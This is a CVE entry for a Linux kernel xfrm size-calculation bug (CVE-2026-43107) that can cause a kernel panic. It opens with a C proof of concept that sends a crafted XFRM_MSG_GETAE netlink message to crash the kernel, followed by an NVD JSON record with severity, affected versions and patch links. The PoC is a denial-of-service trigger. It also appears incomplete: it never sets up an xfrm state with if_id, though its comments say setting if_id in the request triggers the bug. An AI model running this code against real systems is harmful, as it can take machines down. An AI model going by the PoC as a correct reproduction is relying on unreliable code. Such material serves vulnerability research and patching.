CVE-2026-43107

/* * Conceptual PoC for CVE-2026-43107 * Triggering the kernel panic via Netlink interaction with xfrm. * Warning: This code is for educational purposes only. */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/socket.h> #include <linux/netlink.h> #include <linux/xfrm.h> #define NETLINK_XFRM 6 int main() { int fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_XFRM); if (fd < 0) { perror("socket"); return 1; } struct sockaddr_nl sa; memset(&sa, 0, sizeof(sa)); sa.nl_family = AF_NETLINK; // Buffer to hold the netlink message char buf[1024]; memset(buf, 0, sizeof(buf)); struct nlmsghdr *nh = (struct nlmsghdr *)buf; // Construct a message targeting XFRM_MSG_GETAE // This triggers the vulnerable xfrm_get_ae path nh->nlmsg_type = XFRM_MSG_GETAE; nh->nlmsg_flags = NLM_F_REQUEST; nh->nlmsg_len = NLMSG_LENGTH(sizeof(struct xfrm_aevent_id)); struct xfrm_aevent_id *ae_id = (struct xfrm_aevent_id *)NLMSG_DATA(nh); // Setting if_id is crucial to trigger the size calculation bug ae_id->if_id = 1; // Set other required fields if necessary to reach the vulnerable code path ae_id->sa_id.family = AF_INET; // Send the malicious payload sendto(fd, buf, nh->nlmsg_len, 0, (struct sockaddr*)&sa, sizeof(sa)); printf("PoC payload sent. If the kernel is vulnerable, a panic may occur.\n"); close(fd); return 0; }

{"cve": {"id": "CVE-2026-43107", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-05-06T10:16:24.330", "lastModified": "2026-05-11T17:30:05.550", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nxfrm: account XFRMA_IF_ID in aevent size calculation\n\nxfrm_get_ae() allocates the reply skb with xfrm_aevent_msgsize(), then\nbuild_aevent() appends attributes including XFRMA_IF_ID when x->if_id is\nset.\n\nxfrm_aevent_msgsize() does not include space for XFRMA_IF_ID. For states\nwith if_id, build_aevent() can fail with -EMSGSIZE and hit BUG_ON(err < 0)\nin xfrm_get_ae(), turning a malformed netlink interaction into a kernel\npanic.\n\nAccount XFRMA_IF_ID in the size calculation unconditionally and replace\nthe BUG_ON with normal error unwinding."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-131"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.19", "versionEndExcluding": "6.12.83", "matchCriteriaId": "201624C3-F55D-45F1-B112-5C2CD4BEE5A6"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.13", "versionEndExcluding": "6.18.24", "matchCriteriaId": "8126B8B8-6D0B-4443-86C1-672AEE893555"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.19", "versionEndExcluding": "6.19.14", "matchCriteriaId": "D6A8A074-BBF4-4803-ABED-519A839435BB"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc1:*:*:*:*:*:*", "matchCriteriaId": "F253B622-8837-4245-BCE5-A7BF8FC76A16"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc2:*:*:*:*:*:*", "matchCriteriaId": "4AE85AD8-4641-4E7C-A2F4-305E2CD9EE64"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc3:*:*:*:*:*:*", "matchCriteriaId": "F666C8D8-6538-46D4-B318-87610DE64C34"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc4:*:*:*:*:*:*", "matchCriteriaId": "02259FDA-961B-47BC-AE7F-93D7EC6E90C2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc5:*:*:*:*:*:*", "matchCriteriaId": "58A9FEFF-C040-420D-8F0A-BFDAAA1DF258"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc6:*:*:*:*:*:*", "matchCriteriaId": "1D2315C0-D46F-4F85-9754-F9E5E11374A6"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc7:*:*:*:*:*:*", "matchCriteriaId": "512EE3A8-A590-4501-9A94-5D4B268D6138"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/2c41283d94af943a05f7f2cc1a01f0c872f3cf43", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/58e5735d1a5373652f405a0c16e54ac04aaab0ad", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/7081d46d32312f1a31f0e0e99c6835a394037599", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/e62e322ea20be78e346e4b49f9a6b9f03313af4c", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}]}}